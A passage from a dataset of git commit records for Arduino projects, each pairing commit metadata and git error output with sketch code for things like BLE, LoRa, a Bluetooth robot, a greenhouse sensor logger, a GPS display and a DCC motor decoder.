blePeripheral.setLocalName(\"test\");\n blePeripheral.setAdvertisedServiceUuid(\"B9407F30-F5F8-466E-AFF9-25556B57FE6D\");\n \n blePeripheral.begin();\n \n Serial.println(F(\"BLE Peripheral\"));\n}\n\nvoid loop() { \n blePeripheral.poll();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/test\/test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"80fa3590d61f6616db491d77249efaedf3c0ca7b","subject":"Update pumpkinDroid.ino","message":"Update pumpkinDroid.ino","repos":"estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll,estefanniegg\/estefannieExplainsItAll","old_file":"hacks\/pumpkinDroid.ino","new_file":"hacks\/pumpkinDroid.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/estefanniegg\/estefannieExplainsItAll.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7e161a1c697ff3e299b1eecee66aa245bfff2bad","subject":"Initial Arduino firmware","message":"Initial Arduino firmware\n","repos":"thedeerchild\/meYOw","old_file":"firmware\/firmware.ino","new_file":"firmware\/firmware.ino","new_contents":"\nvoid setup {\n Serial.begin(9600);\n}\n\nvoid loop {\n Serial.println(\"HELLO\");\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/firmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f234c52c6fbd9bbb7e705a37030fe4f17e1f70ae","subject":"Initial checkin with TaskManager example. Adding DHT next","message":"Initial checkin with TaskManager example. Adding DHT next\n","repos":"djsegfault\/arduino,djsegfault\/arduino","old_file":"basement_monitor\/basement_monitor.ino","new_file":"basement_monitor\/basement_monitor.ino","new_contents":"#include <PubSubClient.h>\n\n#include <TaskManager.h>\n\n\nvoid setup()\n{\n Serial.begin(115200);\n delay(2000);\n\n \/\/ task interval is 1000[ms] and repeat forever\n Tasks.interval(1000, []{\n Serial.print(\"interval forever task: now = \");\n Serial.println(millis());\n });\n\n \/\/ task interval is 500[ms] and 10 times only\n Tasks.interval(500, 10, []{\n Serial.print(\"interval limited task: now = \");\n Serial.println(millis());\n });\n\n Serial.print(\"task start: now = \");\n Serial.println(millis());\n}\n\nvoid loop()\n{\n Tasks.update();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'basement_monitor\/basement_monitor.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"b436342324c9049b8fd9244e45b7e1481f59ce03","subject":"Fix #60: add catena_hello_lora example","message":"Fix #60: add catena_hello_lora example\n","repos":"mcci-catena\/Catena4410-Arduino-Library,mcci-catena\/Catena4410-Arduino-Library","old_file":"examples\/catena_hello_lora\/catena_hello_lora.ino","new_file":"examples\/catena_hello_lora\/catena_hello_lora.ino","new_contents":"\/*\n\nModule: catena_hello_lora.ino\n\nFunction:\n Simple hello-world (and compile-test) app\n\nCopyright notice and License:\n See LICENSE file accompanying this project.\n \nAuthor:\n Terry Moore, MCCI Corporation\tApril 2018\n\n*\/\n\n#include <Catena.h>\n#include <Catena_Led.h>\n\nusing namespace McciCatena;\n\n\/\/ declare the global object for the platform.\nCatena gCatena;\nCatena::LoRaWAN gLoRaWAN;\n\n\/\/ declare the LED object\nStatusLed gLed (Catena::PIN_STATUS_LED);\n\n\/\/ declare the callback function.\nArduino_LoRaWAN::SendBufferCbFn uplinkDone;\n\nbool gfSuccess;\nbool gfTxStarted;\nbool gfTxDone;\n\nuint8_t uplinkBuffer[] = { \/* port *\/ 0x10, 0xCA, 0xFE, 0xBA,0xBE };\n\nvoid setup()\n {\n gCatena.begin();\n\n gCatena.SafePrintf(\"Hello, world (with LoRa)!\\n\");\n gCatena.SafePrintf(\"This is a basic demo program for the MCCI Catena-Arduino-Platform library.\\n\");\n gCatena.SafePrintf(\"Enter 'help' for a list of commands.\\n\");\n gCatena.SafePrintf(\"(remember to select 'Line Ending: Newline' at the bottom of the monitor window.)\\n\");\n\n gLed.begin();\n gCatena.registerObject(&gLed);\n gLed.Set(LedPattern::FastFlash);\n\n gLoRaWAN.begin(&gCatena);\n gCatena.registerObject(&gLoRaWAN);\n\n if (! gLoRaWAN.IsProvisioned())\n gCatena.SafePrintf(\"LoRaWAN not provisioned yet. Use the commands to set it up.\\n\");\n else\n {\n \/\/ send a confirmed uplink\n if (gLoRaWAN.SendBuffer(uplinkBuffer, sizeof(uplinkBuffer), uplinkDone, nullptr, true))\n gfTxStarted = true;\n else\n gCatena.SafePrintf(\"SendBuffer failed!\\n\");\n }\n }\n\nvoid loop()\n {\n gCatena.poll();\n if (gfTxStarted && gfTxDone)\n {\n gfTxStarted = false;\n if (gfSuccess)\n gCatena.SafePrintf(\"Transmit succeeded.\\n\");\n else\n gCatena.SafePrintf(\"Message uplink failed!\\n\");\n }\n }\n\nvoid uplinkDone(void *pCtx, bool fSuccess)\n {\n gfTxDone = true;\n gfSuccess = fSuccess;\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/catena_hello_lora\/catena_hello_lora.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"edd7e81c58dfbe8b16e10020662d3e834f9af824","subject":"lcd code cleanup","message":"lcd code cleanup\n","repos":"nathankoch\/arduino-videosynth","old_file":"videosynth.ino","new_file":"videosynth.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nathankoch\/arduino-videosynth.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6ab854eb01da78c319dae90a82ab2cd89aa8d6ff","subject":"Updated arduino code to stop motor or sheild overheating.","message":"Updated arduino code to stop motor or sheild overheating.","repos":"angusgbishop\/biast,angusgbishop\/biast","old_file":"Arduino Code\/biastmk1_ino\/biastmk1_ino.ino","new_file":"Arduino Code\/biastmk1_ino\/biastmk1_ino.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/biastmk1_ino\/biastmk1_ino.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3afc21804d7af7a483169cd603a0a4c47ff65b5b","subject":"Create robot.ino","message":"Create robot.ino","repos":"manashmndl\/OthersProject,manashmndl\/OthersProject,manashmndl\/OthersProject","old_file":"Dalal\/Robot\/robot.ino","new_file":"Dalal\/Robot\/robot.ino","new_contents":"#include <SoftwareSerial.h>\n#include <Motor.h>\n\nint speed = 100;\n\nbool button_control = false;\n\nmotorpins pins = {6, 9, 3, 5};\n\nMotor motor(pins);\n\nint led = 13;\n\nSoftwareSerial bt(10, 11); \/\/rx tx\n\nfloat values = -100;\nfloat yValues = -100;\n\nint x_value = 0;\nint y_value = 0;\n\nint direction = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n bt.begin(9600);\n pinMode(led, OUTPUT);\n}\n\nint getX(String value){\n String x = value.substring(1, value.indexOf(','));\n return x.toInt();\n}\n\nint getY(String value){\n String y = value.substring(value.indexOf(',') + 1, value.indexOf(')'));\n return y.toInt();\n}\n\n\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n if (bt.available() > 0){\n \/\/values = bt.parseFloat();\n \/\/yValues = bt.parseFloat();\n \n \/\/Serial.println(\"x values: \" + String(values) + \"\\n y values: \" + String(yValues));\n String compositeData = bt.readStringUntil('\\n');\n\n Serial.println(compositeData);\n \n if (compositeData.startsWith(\"~\")) {\n button_control = true;\n if (compositeData.equals(\"~FORWARD\")) {Serial.println(\"fwd\"); direction = 9000;}\n else if (compositeData.equals(\"~BACKWARD\")) {Serial.println(\"back\"); direction = 10000;}\n else if (compositeData.equals(\"~LEFT\")) {Serial.println(\"left\"); direction = 11000;}\n else if (compositeData.equals(\"~RIGHT\")) {Serial.println(\"right\") ; direction = 12000;}\n else if (compositeData.equals(\"~STOP\")) {Serial.println(\"stop\"); direction = 13000;}\n\n } else {\n button_control = false;\n x_value = getX(compositeData);\n y_value = getY(compositeData); \n }\n \n Serial.println(\"x: \" + String(x_value));\n\/\/ Serial.println(x);\n \n delay(10);\n }\n\n if (button_control == false){\n\n\n if (x_value > -8 && x_value < -3){\n \n\n Serial.println(\"FORWARD\");\n motor.go(speed, speed, FORWARD);\n }\n\n else if (x_value > 3 && x_value < 8){\n Serial.println(\"BACKWARD\");\n motor.go(speed, speed, BACKWARD);\n }\n\n else if (y_value > 3 && y_value < 8){\n Serial.println(\"LEFT\");\n motor.go(0, speed, LEFT);\n }\n\n\n else if (y_value > -8 && y_value < -3){\n \n\n Serial.println(\"RIGHT\");\n motor.go(speed, 0, RIGHT);\n }\n\n else {\n motor.go(0, 0, NOWHERE);\n }\n\n } else {\n\n if (direction == 9000){\n motor.go(speed, speed, FORWARD);\n } else if (direction == 10000){\n motor.go(speed, speed, BACKWARD);\n } else if (direction == 11000){\n \n motor.go(speed, speed, RIGHT);\n } else if (direction == 12000){\n motor.go(speed, speed, LEFT);\n } else if (direction == 13000){\n motor.go(0, 0, NOWHERE);\n }\n }\n \n\n\/\/ if (x_value > -8 && x_value < -3){\n\/\/ Serial.println(\"FORWARD\");\n\/\/ motor.go(255, 255, FORWARD);\n\/\/ }\n\/\/\n\/\/ else if (x_value > 3 && x_value < 8){\n\/\/ Serial.println(\"BACKWARD\");\n\/\/ motor.go(255, 255, BACKWARD);\n\/\/ }\n\/\/\n\/\/ else if (y_value > -8 && y_value < -3){\n\/\/ Serial.println(\"LEFT\");\n\/\/ motor.go(0, 255, LEFT);\n\/\/ }\n\/\/\n\/\/ else if (y_value > 3 && y_value < 8){\n\/\/ Serial.println(\"RIGHT\");\n\/\/ motor.go(255, 0, RIGHT);\n\/\/ }\n\/\/\n\/\/ else {\n\/\/ motor.go(0, 0, NOWHERE);\n\/\/ }\n\n\n\n\/\/ if (x_value > -10 && x_value < -3) {\n\/\/ \n\/\/ }\n\/\/ else if (x_value > 3 && x_value < 10) {\n\/\/ Serial.println(\"BACKWARD\");\n\/\/ motor.go(255, 255, BACKWARD);\n\/\/ }\n\/\/ else if (y_value > -10 && y_value < -3){\n\/\/ Serial.println(\"LEFT\");\n\/\/ motor.go(255, 0, LEFT);\n\/\/ }\n\/\/ else if (y_value > 3 && y_value < 10){\n\/\/ Serial.println(\"RIGHT\");\n\/\/ motor.go(0, 255, RIGHT);\n\/\/ }\n\/\/ else {\n\/\/ Serial.println(\"STOP\");\n\/\/ motor.go(0, 0, NOWHERE);\n\/\/ }\n \n \/\/if (values > -7) {digitalWrite(led, HIGH); motor.go(255, 255, FORWARD); }\n \/\/else { digitalWrite(led, LOW); motor.go(0, 0, NOWHERE); }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Dalal\/Robot\/robot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2fd373221953dd3d8f677418c794fa8e8f1847ef","subject":"First proposal ","message":"First proposal \n\nThere is a complete support for:\r\n- communication over EthernetShield to a simple php page (POST)\r\n- soil moisture sensors using some iron wires and electrolysis\r\n- temperature sensors (LM35DZ)","repos":"alessiomoretti\/estotePC","old_file":"SmartGreen\/arduino\/smartgreen.ino","new_file":"SmartGreen\/arduino\/smartgreen.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n\n\/* definitions of the soil moisture pins - 2*digital + 3*analog *\/\n#define voltageFlipPin1 6\n#define voltageFlipPin2 7\n\/\/ voltage flip to prevent the electrolitical defiance\n#define sensorPinA 0\n#define sensorPinB 1\n#define sensorPinC 2\n\n\/* definitions of the temperature sensors pins - 3*analog *\/\n#define temperaturePinA 3\n#define temperaturePinB 4\n#define temperaturePinC 5\n\n\/* soil moisture mapping - may change due to soil characteristics *\/\n#define GREEN 500\n#define YELLOW 800\n\/* soil moisture led alert - the led will be turned on if humidity is on \"red\" condition *\/\n#define alertA 8\n#define alertB 9\n#define alertC 10\n\n\/* sleeping time for the EthernetShield and for the temperature retrieving *\/\n#define ETHERNET_SETUP 5000\n#define ETHERNET_CLIENT 1000\n#define SENSOR_READ\t\t 3000\n\n\/* other useful constants *\/\n#define BAUD_RATE \t\t 9600\n#define ANALOG_MOIST_MAP 1023\n#define MOIST_FLIP_TIMER 3000\n#define TEMP_CONVERSION 0.488\n\n#define ETHERNET_DEBUG false\n#define SERVER_PORT 8080\n\n\/* initializing useful variables for moisture reading *\/\nint moistA;\nint moistB;\nint moistC;\n\n\/* initializing useful variables for temperature reading *\/\nfloat temperatureA; \/\/ final temperature reading\nfloat temperatureB; \nfloat temperatureC;\nint analogTemperatureA; \/\/ temperature retrieved from the sensor\nint analogTemperatureB;\nint analogTemperatureC;\n\n\/* initializing useful variables for client operations *\/\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nIPAddress ip(192,168,1,104);\nIPAddress server(192,168,1,100);\nEthernetClient client;\n\nString data = \"\";\nchar inChar;\n\n\/* SETUP *\/\nvoid setup() {\n\tSerial.begin(BAUD_RATE);\n\n\t\/\/ soil moisture sensor \n\tpinMode(voltageFlipPin1, OUTPUT);\n \tpinMode(voltageFlipPin2, OUTPUT);\n \tpinMode(sensorPinA , INPUT);\n \tpinMode(sensorPinB , INPUT);\n \tpinMode(sensorPinC , INPUT);\n\n \t\/\/ temperature sensor \n \tpinMode(temperaturePinA, INPUT);\n \tpinMode(temperaturePinB, INPUT);\n \tpinMode(temperaturePinC, INPUT);\n\n\n \t\/\/ EthernetShield setup delay\n \tdelay(ETHERNET_SETUP);\n \t\/\/ EthernetShield setup\n \tEthernet.begin(mac, ip);\n}\n\n\n\/* LOOP *\/\nvoid loop() {\n\t\/\/ NB: all the cycle in a flip_timer range\n\t\/\/ resetting data\n\tdata = \"\";\n\n\t\/\/ soil moisture polarity - electrolitical avoidance\n\tsetSensorPolarity(true);\n \n \/\/ soil moisture \n moistA = analogRead(sensorPinA);\n moistB= analogRead(sensorPinB);\n moistC = analogRead(sensorPinC);\n \n data += \"moistA=\" + moistureValue(moistA, alertA) \n \t + \"&moistB=\" + moistureValue(moistB, alertB) \n \t + \"&moistC=\" + moistureValue(moistC, alertC);\n\n \/\/ temperature\n analogTemperatureA = analogRead(temperaturePinA);\n analogTemperatureB = analogRead(temperaturePinB);\n analogTemperatureC = analogRead(temperaturePinC);\n \n temperatureA = analogTemperatureA * TEMP_CONVERSION;\n temperatureB = analogTemperatureB * TEMP_CONVERSION;\n temperatureC = analogTemperatureC * TEMP_CONVERSION;\n\n data += \"&tempA=\" + String(temperatureA) \n \t + \"&tempB=\" + String(temperatureB) \n \t + \"&tempC=\" + String(temperatureC);\n\n \/\/ soil moisture polarity - electrolitical avoidance\n setSensorPolarity(false);\n\n \/\/ ethernet\n HTTP_POSTRequest(data);\n\n \/\/ serial monitoring\n Serial.println(String(moistA) + \"\\t\\t\" \n \t\t + String(moistB) + \"\\t\\t\" \n \t\t + String(moistC) + \"\\t\\t\");\n Serial.println(String(temperatureA) + \"\\t\\t\" \n \t\t + String(temperatureB) + \"\\t\\t\" \n \t\t + String(temperatureC) + \"\\t\\t\");\n Serial.println();\n}\n\n\/* SENSOR POLARITY *\/\nvoid setSensorPolarity(boolean flip){\n if (flip) {\n digitalWrite(voltageFlipPin1, HIGH);\n digitalWrite(voltageFlipPin2, LOW);\n } else {\n digitalWrite(voltageFlipPin1, LOW);\n digitalWrite(voltageFlipPin2, HIGH);\n }\n}\n\n\/* MOISTURE VALUE *\/\nString moistureValue(int moist, int alertPin) {\n\tif (moist <= GREEN)\n \/\/ humidity value is \"green\"\n\t\treturn \"G\";\n\tif (moist <= YELLOW)\n \/\/ humidity value is \"yellow\" \n\t\treturn \"Y\";\n\telse {\n \/\/ humidity value is \"red\" -> turn on the led and feed the plant!\n digitalWrite(alertPin, HIGH);\n\t\treturn \"R\";\n }\n}\n\n\/* HTTP POST REQUEST *\/\nvoid HTTP_POSTRequest(String params) {\n \n if (client.connect(server, SERVER_PORT)) {\n if (ETHERNET_DEBUG) \n \tSerial.println(\"CONNECTION\");\n\n client.println(\"POST \/gamerland\/data.php HTTP\/1.1\");\n client.println(\"Host: 192.168.1.100\");\n client.println(\"User-Agent: arduino-ethernet\");\n client.println(\"Content-Type: application\/x-www-form-urlencoded\");\n client.print(\"Content-Length: \");\n client.print(params.length());\n client.println();\n client.print(params);\n }\n \n delay(ETHERNET_CLIENT);\n while(client.available())\n {\n \n if (ETHERNET_DEBUG) {\n \tSerial.write(inChar);\n \tinChar = client.read();\n }\n }\n if (client.connected()) {\n client.stop();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SmartGreen\/arduino\/smartgreen.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"59045503f3d5af153122edff05c6c86a355faa27","subject":"removing old project files","message":"removing old project files\n","repos":"SteveMacenski\/BoilerMake---ISS-Tracker-Hack","old_file":"Robot plotter code\/BoilerMake_2015\/BoilerMake_2015.ino","new_file":"Robot plotter code\/BoilerMake_2015\/BoilerMake_2015.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Robot' did not match any file(s) known to git\nerror: pathspec 'plotter' did not match any file(s) known to git\nerror: pathspec 'code\/BoilerMake_2015\/BoilerMake_2015.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6ac300a6c70926949c22ff9ccac972b9189fd6a0","subject":"Start","message":"Start\n","repos":"DigitalesSED\/ProyectoFinal","old_file":"Blink\/Blink.ino","new_file":"Blink\/Blink.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DigitalesSED\/ProyectoFinal.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b71321bd60f3fea638240abbf9a5e289c6df989e","subject":"Agregar implementacion para medir distancias usando fc micros()","message":"Agregar implementacion para medir distancias usando fc micros()\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"pocs\/ultrasonic-sensor\/ultrasonic-sensor-micros\/ultrasonic-sensor-micros.ino","new_file":"pocs\/ultrasonic-sensor\/ultrasonic-sensor-micros\/ultrasonic-sensor-micros.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3662cc415f44332f4ccaa211fa4bf681fa50edd8","subject":"Added files via upload","message":"Added files via upload","repos":"dialThat\/AmpleGPS","old_file":"ExampleWithOled.ino","new_file":"ExampleWithOled.ino","new_contents":"\n\/* Example program <2k for Arduino with GPS and OLED\n * \n * This version is stripped down to fit on an Uno or a Nano,\n * where Flash is 32k bytes. It uses about 20800 bytes and\n * about 1850 bytes of dynamic memory.\n * \n * The single serial line is used for the GPS.\n * Don't connect the USB-cable and the GPS at the same time,\n * as it may damage your board or the receiver\n * First flash it, then discconnect the USB, then connect the GPS.\n * \n * Again:\n * This is a version for OLED and GPS.\n\n * Serial is occupied. It cannot be used for debugging here.\n * If you want to see the data on the screen of your computer,\n * please use the version without OLED.\n * \n * Finally:\n * The GPS can not be attached until the Arduino is flashed,\n * If you have another board, or no OLED attached, please modify\n * this code accordingly.\n * SoftSerial or Serial2, in case of a Mega or similar, are tested.\n *\/\n\n\n\n#include <AmpleGPS.h>\n\n#include <SPI.h>\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n\n#define OLED_RESET 4\nAdafruit_SSD1306 display(OLED_RESET);\n\nchar displayString[14]; \/\/ for printing\nchar compassDir []= \"NSEW\";\n\n\nAmpleGPS GPS;\n\n\n\/\/ Set GPSECHO to 'false' to turn off echoing the GPS data to the Serial console\n\/\/ Set to 'true' if you want to debug and listen to the raw GPS sentences\n\/\/ #define GPSECHO true\n\nvoid setup()\n{\n \/\/ connect at 115200 so we can read the GPS fast enough and echo without dropping chars\n \/\/ also spit it out\n Serial.begin(9600);\n delay(1000);\n \n \n GPS.callBack = updateGPSData;\n uint8_t newMode =\n \/\/ GPS_VIEW_UNPARSED |\n \/\/ GPS_PAUSED |\n \/\/ GPS_NEW_COORDS |\n \/\/ GPS_NEW_TIME |\n \/\/ GPS_UPDATE_SATS |\n GPS_COMPLETE_DATA;\n\n GPS.begin(); \/\/ GPS can start without parameter\n GPS.mode = newMode;\n \n \n display.begin(SSD1306_SWITCHCAPVCC, 0x3C); \/\/ initialize with the I2C addr 0x3D (for the 128x64)\n \n \/\/ Show image buffer on the display hardware.\n \/\/ Since the buffer is intialized with an Adafruit splashscreen\n \/\/ internally, this will display the splashscreen.\n display.display();\n delay(2000);\n \n \/\/ Clear the buffer.\n display.clearDisplay();\n display.setTextColor(WHITE);\n display.setTextSize(1);\n \n}\n\nvoid loop()\n{\n while (Serial.available())\n {\n char c = Serial.read();\n c = GPS.readSentence(c);\n\/\/ replacement as one line of code\n\/\/ GPS.readSentence(Serial.read());\n \n }\n}\n\n\n\nvoid drawSphere(void) {\n int radius = display.height()\/2 -1;\n int mid_y = radius;\n int mid_x = display.width() - radius -1;\n \n \n display.drawCircle(mid_x, mid_y, radius, WHITE);\n display.drawCircle(mid_x, mid_y, radius\/2, WHITE);\n display.drawLine(mid_x, 0, mid_x, radius * 2, WHITE);\n display.drawLine(mid_x - radius, mid_y, mid_x + radius, mid_y, WHITE);\n}\n\nvoid drawSatellites(void) {\n if(GPS.satellitesCount > 0)\n {\n int skyRadius = display.height()\/2 -1;\n int mid_y = skyRadius;\n int mid_x = display.width() - skyRadius -1;\n float markerSize = (float)skyRadius\/4;\n \n GSV_Satellite *aSat = GPS.satellitesBuffer;\n for(int i = 0; i < GPS.satellitesCount; i++)\n {\n \n if(0 < aSat -> strength)\n {\n float rad = (float)skyRadius * cos((float)aSat -> elevation);\n float xPos = sin(aSat -> azimuth) * rad + mid_x;\n float yPos = cos(aSat -> azimuth) * rad + mid_y;\n rad = (float)(aSat -> strength)\/66;\n \/\/ rad = (float)(1 - (aSat -> strength)) + (rad * 2 * (aSat -> strength))* markerSize;\n \n display.fillCircle(xPos, yPos, rad, WHITE);\n \/\/ display.setCursor(xPos, yPos);\n \/\/ display.println(aSat -> number);\n }\n \n aSat++;\n }\n }\n}\n\nvoid writeData (void)\n{\n display.setCursor(0,0);\n \n sprintf_P(displayString, PSTR(\"%02d.%02d.20%02d\"),GPS.day, GPS.month, GPS.year);\n display.println(displayString);\n sprintf_P(displayString, PSTR(\"%02d:%02d:%02d\\n\"),GPS.hour, GPS.minute, GPS.seconds);\n display.println(displayString);\n \n \/\/ sprintf(displayString, F(\"%4.1f m\\n\"),GPS.altitude);\n \/\/ display.println(displayString);\n display.print(GPS.altitude);display.println(F(\" m\"));\n \/\/ sprintf(displayString, \"%3.2f knots\\n\",GPS.speedOnGround);\n display.print(GPS.speedOnGround);;display.println(F(\" knots\\n\"));\n \n for(int i=0; i< 2; i++)\n {\n float coord = (0==i) ? GPS.latitudeDegrees : GPS.longitudeDegrees;\n int j = (coord < 0.0)? 1 : 0;\n j += i*2;\n char direction = *(compassDir + j);\n \n float degrees = floor(coord);\n float f_minutes = (coord - degrees) * 60;\n \n unsigned int deg = (unsigned int) degrees;\n unsigned int i_minutes = (unsigned int) floor(f_minutes);\n unsigned int secs = (unsigned int)round((f_minutes - (float)i_minutes)*1000);\n \n sprintf_P(displayString, PSTR(\"%c %02d %02d.%03d\"),direction, deg, i_minutes, secs);\n \n display.println(displayString);\n \n }\n}\n\n\nint updateGPSData (uint8_t mode)\n{\n boolean unparsed = false;\n if(GPS_VIEW_UNPARSED & mode || GPS_DO_NOT_PARSE & mode)\n {\n char *unparsedSentence = GPS.unparsedSentence;\n if(unparsedSentence)\n {\n unparsed = true;\n }\n }\n display.clearDisplay();\n \n writeData(); \/\/ draws the text string on the left side of the screen\n drawSphere(); \/\/ drwas the sheres\n drawSatellites(); \/\/ drwas the staelites as dots\n display.display();\n return 0;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ExampleWithOled.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5ba1ee3e8ecf1dc9a9b01e1648202a187739a4d4","subject":"added another example of s simple DCC Multifunction (Locomotive) decoder","message":"added another example of s simple DCC Multifunction (Locomotive) decoder\n","repos":"mrrwa\/NmraDcc,mrrwa\/NmraDcc","old_file":"examples\/NmraDccMultiFunctionMotorDecoder\/NmraDccMultiFunctionMotorDecoder.ino","new_file":"examples\/NmraDccMultiFunctionMotorDecoder\/NmraDccMultiFunctionMotorDecoder.ino","new_contents":"\/\/ NMRA Dcc Multifunction Motor Decoder Demo\n\/\/\n\/\/ Author: Alex Shepherd 2019-03-30\n\/\/ \n\/\/ This example requires these Arduino Libraries:\n\/\/\n\/\/ 1) The NmraDcc Library from: http:\/\/mrrwa.org\/download\/\n\/\/\n\/\/ These libraries can be found and installed via the Arduino IDE Library Manager\n\/\/\n\/\/ This is a simple demo of how to drive and motor speed and direction using PWM and a motor H-Bridge\n\/\/ It uses vStart and vHigh CV values to customise the PWM values to the motor response \n\/\/ It also uses the Headling Function to drive 2 LEDs for Directional Headlights\n\/\/ Apart from that there's nothing fancy like Lighting Effects or a function matrix or Speed Tables - its just the basics...\n\/\/\n\n#include <NmraDcc.h>\n\/\/ Uncomment any of the lines below to enable debug messages for different parts of the code\n\/\/#define DEBUG_FUNCTIONS\n\/\/#define DEBUG_SPEED\n\/\/#define DEBUG_PWM\n\/\/#define DEBUG_DCC_ACK\n\/\/#define DEBUG_DCC_MSG\n\n#if defined(DEBUG_FUNCTIONS) or defined(DEBUG_SPEED) or defined(DEBUG_PWM) or defined(DEBUG_DCC_ACK) or defined(DEBUG_DCC_MSG)\n#define DEBUG_PRINT\n#endif\n\n\/\/ This is the default DCC Address\n#define DEFAULT_DECODER_ADDRESS 3\n\n\/\/ This section defines the Arduino UNO Pins to use \n#ifdef __AVR_ATmega328P__ \n\n#define DCC_PIN 2\n\n#define LED_PIN_FWD 5\n#define LED_PIN_REV 6\n#define MOTOR_DIR_PIN 12\n#define MOTOR_PWM_PIN 3\n\n\/\/ This section defines the Arduino ATTiny85 Pins to use \n#elif ARDUINO_AVR_ATTINYX5 \n\n#define DCC_PIN 2\n\n#define LED_PIN_FWD 0\n#define LED_PIN_REV 1\n#define MOTOR_DIR_PIN 3\n#define MOTOR_PWM_PIN 4\n\n#else\n#error \"Unsupported CPU, you need to add another configuration section for your CPU\"\n#endif \n\n\/\/ Some global state variables\nuint8_t newLedState = 0;\nuint8_t lastLedState = 0;\n\nuint8_t newDirection = 0;\nuint8_t lastDirection = 0;\n\nuint8_t newSpeed = 0;\nuint8_t lastSpeed = 0;\nuint8_t numSpeedSteps = SPEED_STEP_128;\n\nuint8_t vStart;\nuint8_t vHigh;\n\n\/\/ Structure for CV Values Table\nstruct CVPair\n{\n uint16_t CV;\n uint8_t Value;\n};\n\n\/\/ CV Addresses we will be using\n#define CV_VSTART 2\n#define CV_VHIGH 5\n\n\/\/ Default CV Values Table\nCVPair FactoryDefaultCVs [] =\n{\n\t\/\/ The CV Below defines the Short DCC Address\n {CV_MULTIFUNCTION_PRIMARY_ADDRESS, DEFAULT_DECODER_ADDRESS},\n\n \/\/ Three Step Speed Table\n {CV_VSTART, 120},\n {CV_VHIGH, 255},\n\n \/\/ These two CVs define the Long DCC Address\n {CV_MULTIFUNCTION_EXTENDED_ADDRESS_MSB, 0},\n {CV_MULTIFUNCTION_EXTENDED_ADDRESS_LSB, DEFAULT_DECODER_ADDRESS},\n\n\/\/ ONLY uncomment 1 CV_29_CONFIG line below as approprate\n\/\/ {CV_29_CONFIG, 0}, \/\/ Short Address 14 Speed Steps\n {CV_29_CONFIG, CV29_F0_LOCATION}, \/\/ Short Address 28\/128 Speed Steps\n\/\/ {CV_29_CONFIG, CV29_EXT_ADDRESSING | CV29_F0_LOCATION}, \/\/ Long Address 28\/128 Speed Steps \n};\n\nNmraDcc Dcc ;\n\nuint8_t FactoryDefaultCVIndex = 0;\n\n\/\/ This call-back function is called when a CV Value changes so we can update CVs we're using\nvoid notifyCVChange( uint16_t CV, uint8_t Value)\n{\n switch(CV)\n {\n case CV_VSTART:\n vStart = Value;\n break;\n \n case CV_VHIGH:\n vHigh = Value;\n break;\n }\n}\n\nvoid notifyCVResetFactoryDefault()\n{\n \/\/ Make FactoryDefaultCVIndex non-zero and equal to num CV's to be reset \n \/\/ to flag to the loop() function that a reset to Factory Defaults needs to be done\n FactoryDefaultCVIndex = sizeof(FactoryDefaultCVs)\/sizeof(CVPair);\n};\n\n\/\/ This call-back function is called whenever we receive a DCC Speed packet for our address \nvoid notifyDccSpeed( uint16_t Addr, DCC_ADDR_TYPE AddrType, uint8_t Speed, DCC_DIRECTION Dir, DCC_SPEED_STEPS SpeedSteps )\n{\n #ifdef 